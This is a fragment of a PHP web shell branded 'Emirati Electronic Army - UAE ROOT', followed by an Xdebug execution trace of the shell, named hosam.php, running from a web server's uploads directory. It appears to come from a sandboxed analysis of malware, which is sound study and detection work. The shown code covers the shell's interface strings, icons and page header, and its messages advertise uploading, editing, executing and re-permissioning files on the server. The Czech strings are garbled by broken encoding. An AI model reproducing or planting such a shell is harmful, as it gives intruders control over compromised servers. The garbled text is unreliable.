\"[%1]\" nemohl b\xd8\xa3\xc2\xbdt spu\xd8\xa5\xd8\x8ct\xd8\xa4\xe2\x80\xban:\n{%2}", "saved" => "Soubor \"[%1]\" byl ulo\xd8\xa5\xc2\xbeen.", "not_saved" => "Soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt ulo\xd8\xa5\xc2\xbeen.", "symlinked" => "Byl vyvo\xd8\xa5\xe2\x84\xa2en symbolick\xd8\xa3\xc2\xbd odkaz \"[%2]\" na soubor \"[%1]\".", "not_symlinked" => "Symbolick\xd8\xa3\xc2\xbd odkaz \"[%2]\" na soubor \"[%1]\" nemohl b\xd8\xa3\xc2\xbdt vytvo\xd8\xa5\xe2\x84\xa2en.", "permission_for" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\":", "permission_set" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\" byla zm\xd8\xa4\xe2\x80\xban\xd8\xa4\xe2\x80\xbana na [%2].", "permission_not_set" => "Pr\xd8\xa3\xd8\x8cva k \"[%1]\" nemohla b\xd8\xa3\xc2\xbdt zm\xd8\xa4\xe2\x80\xban\xd8\xa4\xe2\x80\xbana na [%2].", "not_readable" => "Soubor \"[%1]\" nen\xd8\xa3\xc2\xad mo\xd8\xa5\xc2\xbeno p\xd8\xa5\xe2\x84\xa2e\xd8\xa4\xda\x86\xd8\xa3\xc2\xadst.");
case 'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array("directory" => "Directory", "file" => "File", "filename" => "Filename", "size" => "Size", "permission" => "Permission", "owner" => "Owner", "group" => "Group", "other" => "Others", "functions" => "Functions", "read" => "read", "write" => "write", "execute" => "execute", "create_symlink" => "create symlink", "delete" => "delete", "rename" => "rename", "move" => "move", "copy" => "copy", "edit" => "edit", "download" => "download", "upload" => "upload", "create" => "create", "change" => "change", "save" => "save", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
}
}
function getimage($image)
{
switch ($image) {
case 'file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'folder':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
case 'hidden_file':
return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
case 'link':
return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
case 'smiley':
return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
case 'arrow':
return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
}
}
function html_header()
{
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />
<title>Emirati Electronic Army - UAE ROOT</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer()
{
echo "</body>\r\n</html>";
}
function notice($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error($phrase)
{
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:12:23.337191]
1 0 1 0.000147 393512
1 3 0 0.001873 775824 {main} 1 /var/www/html/uploads/hosam.php 0 0
1 A /var/www/html/uploads/hosam.php 43 $lang = 'auto'
1 A /var/www/html/uploads/hosam.php 50 $site_charset = 'auto'
1 A /var/www/html/uploads/hosam.php 55 $homedir = './'
1 A /var/www/html/uploads/hosam.php 59 $editcols = 80
1 A /var/www/html/uploads/hosam.php 60 $editrows = 25
1 A /var/www/html/uploads/hosam.php 78 $htaccess = '.htaccess'
1 A /var/www/html/uploads/hosam.php 79 $htpasswd = '.htpasswd'
2 4 0 0.001975 775824 get_magic_quotes_gpc 0 /var/www/html/uploads/hosam.php 83 0
2 4 1 0.001990 775824
2 4 R FALSE
2 5 0 0.002004 775824 array_key_exists 0 /var/www/html/uploads/hosam.php 89 2 'image' []
2 5 1 0.002018 775888
2 5 R FALSE
2 6 0 0.002031 775824 function_exists 0 /var/www/html/uploads/hosam.php 94 1 'lstat'
2 6 1 0.002044 775864
2 6 R TRUE
1 A /var/www/html/uploads/hosam.php 100 $delim = '/'
2 7 0 0.002067 775824 function_exists 0 /var/www/html/uploads/hosam.php 102 1 'php_uname'
2 7 1 0.002081 775864
2 7 R TRUE
2 8 0 0.002093 775824 substr 0 /var/www/html/uploads/hosam.php 103 3 'Linux' 0 3
2 8 1 0.002108 775952
2 8 R 'Lin'
2 9 0 0.002121 775856 strtoupper 0 /var/www/html/uploads/hosam.php 103 1 'Lin'
2 9 1 0.002133 775920
2 9 R 'LIN'
1 A /var/www/html/uploads/hosam.php 103 $win = FALSE
2 10 0 0.002158 775824 dirname 0 /var/www/html/uploads/hosam.php 111 1 '/var/www/html/uploads/hosam.php'
2 10 1 0.002171 775912
2 10 R '/var/www/html/uploads'
1 A /var/www/html/uploads/hosam.php 111 $scriptdir = '/var/www/html/uploads'
2 11 0 0.002196 775880 relative2absolute 1 /var/www/html/uploads/hosam.php 117 2 './' '/var/www/html/uploads'
3 12 0 0.002210 775880 path_is_relative 1 /var/www/html/uploads/hosam.php 983 1 './'
4 13 0 0.002223 775904 substr 0 /var/www/html/uploads/hosam.php 997 3 './' 0 1
4 13 1 0.002236 776000
4 13 R '.'
3 12 1 0.002251 775904
3 12 R TRUE
3 14 0 0.002264 775904 addslash 1 /var/www/html/uploads/hosam.php 984 1 '/var/www/html/uploads'
4 15 0 0.002276 775928 substr 0 /var/www/html/uploads/hosam.php 973 3 '/var/www/html/uploads' -1 1
4 15 1 0.002290 776024
4 15 R 's'
3 14 1 0.002304 775976
3 14 R '/var/www/html/uploads/'
3 16 0 0.002319 775984 simplify_path 1 /var/www/html/uploads/hosam.php 984 1 '/var/www/html/uploads/./'
4 17 0 0.002332 775984 file_exists 0 /var/www/html/uploads/hosam.php 1024 1 '/var/www/html/uploads/./'
4 17 1 0.002365 776024
4 17 R TRUE
4 18 0 0.002379 775984 function_exists 0 /var/www/html/uploads/hosam.php 1024 1 'realpath'
4 18 1 0.002392 776024
4 18 R TRUE
4 19 0 0.002405 775984 realpath 0 /var/www/html/uploads/hosam.php 1024 1 '/var/www/html/uploads/./'
4 19 1 0.002418 776064
4 19 R '/var/www/html/uploads'
4 20 0 0.002433 775984 realpath 0 /var/www/html/uploads/hosam.php 1025 1 '/var/www/html/uploads/./'
4 20 1 0.002446 776064
4 20 R '/var/www/html/uploads'
3 A /var/www/html/uploads/hosam.php 1025 $path = '/var/www/html/uploads'
4 21 0 0.002470 776032 is_dir 0 /var/www/html/uploads/hosam.php 1026 1 '/var/www/html/uploads'
4 21 1 0.002486 776096
4 21 R TRUE
4 22 0 0.002499 776056 addslash 1 /var/www/html/uploads/hosam.php 1027 1 '/var/www/html/uploads'
5 23 0 0.002511 776056 substr 0 /var/www/html/uploads/hosam.php 973 3 '/var/www/html/uploads' -1 1
5 23 1 0.002525 776152
5 23 R 's'
4 22 1 0.002538 776104
4 22 R '/var/www/html/uploads/'
3 16 1 0.002552 776056
3 16 R '/var/www/html/uploads/'
2 11 1 0.002566 776000
2 11 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/hosam.php 117 $homedir = '/var/www/html/uploads/'
2 24 0 0.002590 776000 array_key_exists 0 /var/www/html/uploads/hosam.php 119 2 'dir' []
2 24 1 0.002604 776064
2 24 R FALSE
1 A /var/www/html/uploads/hosam.php 119 $dir = '/var/www/html/uploads/'
2 25 0 0.002627 776000 array_key_exists 0 /var/www/html/uploads/hosam.php 121 2 'olddir' []
2 25 1 0.002643 776064
2 25 R FALSE
2 26 0 0.002656 776000 addslash 1 /var/www/html/uploads/hosam.php 125 1 '/var/www/html/uploads/'
3 27 0 0.002700 776000 substr 0 /var/www/html/uploads/hosam.php 973 3 '/var/www/html/uploads/' -1 1
3 27 1 0.002716 776096
3 27 R '/'
2 26 1 0.002729 776000
2 26 R '/var/www/html/uploads/'
2 28 0 0.002743 776000 simplify_path 1 /var/www/html/uploads/hosam.php 125 1 '/var/www/html/uploads/'
3 29 0 0.002756 776000 file_exists 0 /var/www/html/uploads/hosam.php 1024 1 '/var/www/html/uploads/'
3 29 1 0.002773 776040
3 29 R TRUE
3 30 0 0.002786 776000 function_exists 0 /var/www/html/uploads/hosam.php 1024 1 'realpath'
3 30 1 0.002799 776040
3 30 R TRUE
3 31 0 0.002812 776000 realpath 0 /var/www/html/uploads/hosam.php 1024 1 '/var/www/html/uploads/'
3 31 1 0.002825 776080
3 31 R '/var/www/html/uploads'
3 32 0 0.002839 776000 realpath 0 /var/www/html/uploads/hosam.php 1025 1 '/var/www/html/uploads/'
3 32 1 0.002851 776080
3 32 R '/var/www/html/uploads'
2 A /var/www/html/uploads/hosam.php 1025 $path = '/var/www/html/uploads'
3 33 0 0.002875 776048 is_dir 0 /var/www/html/uploads/hosam.php 1026 1 '/var/www/html/uploads'
3 33 1 0.002888 776088
3 33 R TRUE
3 34 0 0.002900 776048 addslash 1 /var/www/html/uploads/hosam.php 1027 1 '/var/www/html/uploads'
4 35 0 0.002912 776048 substr 0 /var/www/html/uploads/hosam.php 973 3 '/var/www/html/uploads' -1 1
4 35 1 0.002926 776144
4 35 R 's'
3 34 1 0.002940 776096
3 34 R '/var/www/html/uploads/'
2 28 1 0.002955 776048
2 28 R '/var/www/html/uploads/'
1 A /var/www/html/uploads/hosam.php 125 $directory = '/var/www/html/uploads/'
1 A /var/www/html/uploads/hosam.php 127 $files = []
1 A /var/www/html/uploads/hosam.php 128 $action = ''
2 36 0 0.003000 776048 array_key_exists 0 /var/www/html/uploads/hosam.php 142 2 'num' []
2 36 1 0.003014 776112
2 36 R FALSE
2 37 0 0.003028 776048 array_key_exists 0 /var/www/html/uploads/hosam.php 151 2 'focus' []
2 37 1 0.003042 776112
2 37 R FALSE
2 38 0 0.003055 776048 sizeof 0 /var/www/html/uploads/hosam.php 161 1 []
2 38 1 0.003068 776080
2 38 R 0
1 A /var/www/html/uploads/hosam.php 161 $action = ''
2 39 0 0.003091 776048 array_key_exists 0 /var/www/html/uploads/hosam.php 164 2 'HTTP_ACCEPT_LANGUAGE' ['HTTP_HOST' => 'localhost', 'HTTP_USER_AGENT' => 'python-requests/2.25.1', 'HTTP_ACCEPT_ENCODING' => 'gzip, deflate', 'HTTP_ACCEPT' => '*/*', 'HTTP_CONNECTION' => 'keep-alive', 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin', 'SERVER_SIGNATURE' => '<address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address>\n', 'SERVER_SOFTWARE' => 'Apache/2.4.52 (Ubuntu)', 'SERVER_NAME' => 'localhost', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '127.0.0.1', 'DOCUMENT_ROOT' => '/var/www/html', 'REQUEST_SCHEME' => 'http', 'CONTEXT_PREFIX' => '', 'CONTEXT_DOCUMENT_ROOT' => '/var/www/html', 'SERVER_ADMIN' => 'webmaster@localhost', 'SCRIPT_FILENAME' => '/var/www/html/uploads/hosam.php', 'REMOTE_PORT' => '43678', 'GATEWAY_INTERFACE' => 'CGI/1.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '/uploads/hosam.php', 'SCRIPT_NAME' => '/uploads/hosam.php', 'PHP_SELF' => '/uploads/hosam.php', 'REQUEST_TIME_FLOAT' => 1676254317.439, 'REQUEST_TIME' => 1676254317]
2 39 1 0.003150 776112
2 39 R FALSE
1 A /var/www/html/uploads/hosam.php 167 $lang = 'en'
2 40 0 0.003174 776048 getwords 1 /var/www/html/uploads/hosam.php 171 1 'en'
2 A /var/www/html/uploads/hosam.php 2221 $date_format = 'n/j/y H:i:s'
2 A /var/www/html/uploads/hosam.php 2222 $word_charset = 'ISO-8859-1'
2 40 1 0.003211 776096
2 40 R ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/hosam.php 171 $words = ['directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => 'These files have been deleted:\n[%1]', 'not_deleted' => 'These files could not be deleted:\n[%1]', 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => 'These files have been moved to "[%2]":\n[%1]', 'not_moved' => 'These files could not be moved to "[%2]":\n[%1]', 'copy_files' => 'Copy these files:', 'copied' => 'These files have been copied to "[%2]":\n[%1]', 'not_copied' => 'These files could not be copied to "[%2]":\n[%1]', 'not_edited' => '"[%1]" can not be edited.', 'executed' => '"[%1]" has been executed successfully:\n{%2}', 'not_executed' => '"[%1]" could not be executed successfully:\n{%2}', 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.']
1 A /var/www/html/uploads/hosam.php 174 $site_charset = 'ISO-8859-1'
1 A /var/www/html/uploads/hosam.php 177 $cols = 7
2 41 0 0.003409 776096 function_exists 0 /var/www/html/uploads/hosam.php 180 1 'umask'
2 41 1 0.003423 776136
2 41 R TRUE
2 42 0 0.003436 776096 umask 0 /var/www/html/uploads/hosam.php 180 0
2 42 1 0.003449 776096
2 42 R 18
1 A /var/www/html/uploads/hosam.php 180 $dirpermission = 493
2 43 0 0.003474 776096 function_exists 0 /var/www/html/uploads/hosam.php 183 1 'umask'
2 43 1 0.003487 776136
2 43 R TRUE
2 44 0 0.003499 776096 umask 0 /var/www/html/uploads/hosam.php 183 0
2 44 1 0.003511 776096
2 44 R 18
1 A /var/www/html/uploads/hosam.php 183 $filepermission = 420
2 45 0 0.003536 776096 basename 0 /var/www/html/uploads/hosam.php 187 1 '/uploads/hosam.php'
2 45 1 0.003552 776168
2 45 R 'hosam.php'
2 46 0 0.003566 776136 html 1 /var/www/html/uploads/hosam.php 187 1 'hosam.php'
3 47 0 0.003579 776160 htmlentities 0 /var/www/html/uploads/hosam.php 1488 3 'hosam.php' 2 'ISO-8859-1'
3 47 1 0.003598 776432
3 47 R 'hosam.php'
2 46 1 0.003612 776320
2 46 R 'hosam.php'
1 A /var/www/html/uploads/hosam.php 187 $self = 'hosam.php'
2 48 0 0.003637 776280 substr 0 /var/www/html/uploads/hosam.php 195 3 'Apache/2.4.52 (Ubuntu)' 0 6
2 48 1 0.003652 776408
2 48 R 'Apache'
2 49 0 0.003665 776312 strtolower 0 /var/www/html/uploads/hosam.php 195 1 'Apache'
2 49 1 0.003678 776376
2 49 R 'apache'
1 A /var/www/html/uploads/hosam.php 196 $apache = TRUE
2 50 0 0.003704 776280 listing_page 1 /var/www/html/uploads/hosam.php 761 1 ???
3 51 0 0.003719 776376 html_header 1 /var/www/html/uploads/hosam.php 1087 0
3 51 1 0.003735 776376
3 52 0 0.003742 776376 getlist 1 /var/www/html/uploads/hosam.php 1089 1 '/var/www/html/uploads/'
4 53 0 0.003757 776376 opendir 0 /var/www/html/uploads/hosam.php 770 1 '/var/www/html/uploads/'
4 53 1 0.003785 776768
4 53 R resource(4) of type (stream)
3 A /var/www/html/uploads/hosam.php 770 $d = resource(4) of type (stream)
4 54 0 0.003813 776736 readdir 0 /var/www/html/uploads/hosam.php 772 1 resource(4) of type (stream)
4 54 1 0.003843 776808
4 54 R '..'
3 A /var/www/html/uploads/hosam.php 772 $filename = '..'
3 A /var/www/html/uploads/hosam.php 774 $path = '/var/www/html/uploads/..'
4 55 0 0.003878 776824 lstat 0 /var/www/html/uploads/hosam.php 776 1 '/var/www/html/uploads/..'
4 55 1 0.003897 778648
4 55 R [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/hosam.php 776 $stat = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676254317, 9 => 1676254317, 10 => 1676254317, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676254317, 'mtime' => 1676254317, 'ctime' => 1676254317, 'blksize' => 4096, 'blocks' => 8]
4 56 0 0.003960 779304 is_file 0 /var/www/html/uploads/hosam.php 781 1 '/var/www/html/uploads/..'
4 56 1 0.003976 779352
4 56 R FALSE
4 57 0 0.003991 779312 is_dir 0 /var/www/html/uploads/hosam.php 782 1 '/var/www/html/uploads/..'
4 57 1 0.004004 779352
4 57 R TRUE
4 58 0 0.004017 779312 is_link 0 /var/www/html/uploads/hosam.php 783 1 '/var/www/html/uploads/..'
4 58 1 0.004031 779352
4 58 R FALSE
4 59 0 0.004044 779312 is_readable 0 /var/www/html/uploads/hosam.php 784 1 '/var/www/html/uploads/..'
4 59 1 0.004061 779352
4 59 R TRUE
4 60 0 0.004074 779312 is_writable 0 /var/www/html/uploads/hosam.php 785 1 '/var/www/html/uploads/..'
4 60 1 0.004089 779352
4 60 R TRUE
4 61 0 0.004103 779312 filemtime 0 /var/www/html/uploads/hosam.php 790 1 '/var/www/html/uploads/..'
4 61 1 0.004116 779352
4 61 R 1676254317
4 62 0 0.004129 779312 fileatime 0 /var/www/html/uploads/hosam.php 791 1 '/var/www/html/uploads/..'
4 62 1 0.004146 779352
4 62 R 1676254317
4 63 0 0.004159 779312 filectime 0 /var/www/html/uploads/hosam.php 792 1 '/var/www/html/uploads/..'
4 63 1 0.004172 779352
4 63 R 1676254317
3 A /var/www/html/uploads/hosam.php 792 $file = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317]
4 64 0 0.004211 779368 file_exists 0 /var/www/html/uploads/hosam.php 796 1 '/var/www/html/uploads/../.'
4 64 1 0.004226 779408
4 64 R TRUE
3 A /var/www/html/uploads/hosam.php 796 $file['is_executable'] = TRUE
4 65 0 0.004255 779312 function_exists 0 /var/www/html/uploads/hosam.php 807 1 'posix_getpwuid'
4 65 1 0.004269 779352
4 65 R TRUE
4 66 0 0.004282 779312 posix_getpwuid 0 /var/www/html/uploads/hosam.php 807 1 0
4 66 1 0.004323 780112
4 66 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 67 0 0.004349 780080 reset 0 /var/www/html/uploads/hosam.php 807 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 67 1 0.004369 780488
4 67 R 'root'
3 A /var/www/html/uploads/hosam.php 807 $file['owner_name'] = 'root'
4 68 0 0.004395 779344 function_exists 0 /var/www/html/uploads/hosam.php 808 1 'posix_getgrgid'
4 68 1 0.004408 779384
4 68 R TRUE
4 69 0 0.004421 779344 posix_getgrgid 0 /var/www/html/uploads/hosam.php 808 1 0
4 69 1 0.004445 780000
4 69 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 70 0 0.004466 779968 reset 0 /var/www/html/uploads/hosam.php 808 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 70 1 0.004482 780376
4 70 R 'root'
3 A /var/www/html/uploads/hosam.php 808 $file['group_name'] = 'root'
